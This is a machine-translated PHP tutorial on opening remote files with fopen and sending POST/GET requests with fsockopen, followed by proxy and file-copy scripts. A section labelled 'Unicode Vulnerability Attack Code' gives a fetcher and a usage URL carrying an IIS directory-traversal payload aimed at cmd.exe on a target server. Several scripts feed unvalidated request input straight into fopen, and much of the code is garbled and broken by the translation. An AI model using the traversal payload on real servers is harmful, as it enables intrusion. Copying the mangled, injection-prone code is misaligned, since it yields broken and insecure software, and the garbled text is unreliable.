Use of remote files in PHP: Linx I. INTRODUCTION As long as allow_url_fopen is enabled in php.ini, you can use HTTP and most requires FTP URL instead of the file name in the file name as a function parameter. At the same time, you can use the URL in include (), include_once (), request (), and a request_once () statement. For more information on the protocol supported by PHP, see Appendix J. Note: To use the URL in PHP 4.0.3 and its later versions, you need to configure PHP with theNenable-URL-FOPEN-WRAPPER parameter. Remote access from the following functions before the Windows version of the PHP version 4.3: include (), include_once (), request (), request_once (), and the ImageCreateFromxxx function in the XLI, the Image Function library extension library. For example, you can use the following example to open the file on the remote web server, resolve the output data you need, and then use the data in the database, or simply output it to the style matching of the remaining content of your website. . Example x. Fopen () example Php $ handle = fopen ("/Home/rasmus/file.txt", "r"); $ handle = fopen ("/home/rasmus/file.gif", "wb" ); $ hand = fopen ("http://www.example.com/", "r"); $ handle = fopen ("ftp: // user: password@example.com/somefile.txt", "W ");?> Example X. Get the title of the remote file PHP $ file = fopen (" http://www.example.com/ "," r "); if (! $ File) {echo"
Unable to open remote file./n "; exit;} while (! Feof ($ file) {$ line = fgets ($ file, 1024); / * This Only Works if the title and its tags are on one line * / If (EREGI ("
Example X. Data storage of the remote server Php $ file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (! $ File) {echo "
UNABLE to Open Remote File for Writing./N "; exit;} / * Write the data here. * / Fputs ($ file, $ _server ['http_user_agent']." / N "); fclose ($ file);? > Note: You may be inspired from the above examples, using this technology to store remote log files. However, as mentioned above, in the URL that is opened in a FOPEN (), you can only write a new file. If the remote file already has a fopen () function will fail. To perform a similar distributed log operation, you can refer to the Syslog () function. In the following content, I will describe the application of this function with more examples.
Second, PHP POST & GET Application To use PHP's POST & GET, you can use the fsockopen function: example 1. fsockopen () EXAMPLE PHP $ fp = fsockopen ("www.example.com", 80, $ errno, $ Errstr, 30); if (! $ Fp) {echo "$ Errstr ($ errno)
example 2. USING UDP Connection php $ fp = fsockopen ("udp: //127.0.0.1", 13 $ Errno, $ Errstr); if (! $ fp) {echo "error: $ Errno - $ Errstr
/ n";} else {fwrite ($ fp, "/ n"); echo fread ($ FP, 26); fclose ($ fp);}?> Example 3 php // Define some connection parameters $ URLS = array ('host' => 'localhost', 'port' => 80, 'Path' = > '/ index.php', 'Method' => 'POST', 'Protocol' => '1.0',); // PST method delivery Parameters $ ps = array ('language' => 'php', ' Linux '=>' redhat ',); // GET method delivery parameter $ GS = array (' php '=> 5,' redhat '=> 9); / ** Return: get a Post or get method String Parameters: $ USLS: String $ PS: Array $ GS: Array Call Method: GetData ($ URLS, $ PS, '') // Use a POST method GetData ($ URLS, '', $ GS) // Use GET method reference: [URL] http://cn.php.net/manual/en/function.fsockopen.php [/ url] * / Function GetData ($ URLS, $ PS = ', $ GS =') {$ host = $ urls ['host']; $ port = $ urls ['port']; $ PATH = $ URLS ['PATH' ]; $ Method = $ URLS ['Method']; $ protocol = $ urls ['protocol'];
$ pos = ''; $ gets = ''; if (is_Array ($ PS)) {Foreach ($ PS AS $ K => $ V) {$ Posts. = Urlencode ($ K). "=". Urlencode $ V). '&'; $ Posts = Substr ($ Posts, 0, -1); $ LEN = Strlen ($ posts);} if (is_ARRAY ($ GS)) {FOREACH ($ GS AS $ K = > $ V) {$ gets. = urlencode ($ k). "=". Urlencode ($ V). '&';} $ gets = substr ($ gets, 0, -1);} $ fp = fsockopen $ Host, $ Port, $ Errno, $ Errstr, 3); if (! $ fp) {echo "can't connect ... / r / n
error: $ errstr"; return;} fputs ($ FP, "$ METHOD $ PATH? $ Gets HTTP / $ Protocol / R / N"); FPUTS ($ FP, "Host: LocalHost / R / N"); if ($ Posts! = ') {FPUTS ($ FP, "Content-Type: Application / X-WWW-FORM-URLENCODED / R / N"); FPUTS ($ FP, "Content-Length: $ LEN / R / N"); FPUTS ($ fp, "/ r / N "); FPUTS ($ fp, $ pos);} fputs ($ fp," connection: close / r / n / r / n "); $ s = ''; do {$ data = fgets ($ fp 1024); if ($ data == ') {breaf;} $ s. = $ Data;} while; fclose ($ fp); return $ s;} // This is the use of Post methods String Echo getData ($ URLS, $ PS, ''); / / If you want to use the get method, use the following: Echo getData ($ URLS, '', $ GS);?> Third, Unicode Vulnerability Attack Code: Php $ fp = @ FOPEN ($ URL, "R") OR Die ("Cannot Open $ URL"); while ($ line = @ fgets) {$ contents. = $ line;} echo $ contents; // Display file content fclose ($ fp); //// Turn off files?> Use: /xxx.php?url=http://target/script/Winn% C1../winnt/system32/cmd.exe // 四 四 四, 四 文件: 文件:: Example code leads from PHP Flame: Php $ fp = fopen ($ _ get ['filename'], 'RB'); $ data =
$ TMP = ''; while (true) {$ TMP = FGETS ($ FP, 1024); if (0 === Strlen ($ TMP)) {Break;} $ data. = $ tmp;} fclose ($ fp ); $ file = preg_replace ("/ ^. //",""", worth fename); // Write $ fp = fopen (" $ file ", 'wb'); FWRITE ($ FP, $ DATA) Fclose ($ fp);?> 5, HTTP agent ([URL] http://jsw.china12e.com/600/) [/ url] code leads from PHP Flame: <$ url = getenv ("query_string" ); if (! EREG ("^ HTTP", $ URL)) {echo "eXample:
XXX.PHP? [URL] http://jsw.china12e.com/ <[/ url]; br>" ; =} if ($ URL) $ URL = STR_REPLACE ("//", "/", $ URL); $ f = @ fopen ($ URL, "R"); $ a = ""; if ($ f) {While (! Feof ($ f)) $ a. = @f, 8000); fclose ($ f);} $ rooturl = preg_replace I "," // 1 ", $ url); $ a = preg_replace (" / (src [[: space:] * = ['/ "]) ([^ h]. *?) / IS", "// 1 $ rooturl // 2", $ a); $ a = preg_replace ("/ (src [[: space:] =) ([^ h '/"].*? )/ IS", "// 1 $ rooturl /// 2", $ a); $ a = preg_replace ("/ (action [[: Space:]] * = ['/"]) ([^ h]. *?) / IS "," // 1 $ PHP_SELF? $ Rooturl // 2 ", $ a); $ a = preg_replace (" / (action [[: space:]] * =) ([^ h '/ "].*? ) / IS "," // 1 $ PHP_SELF $ rooturl // 2 ", $ A); $ a = preg_replace (" / (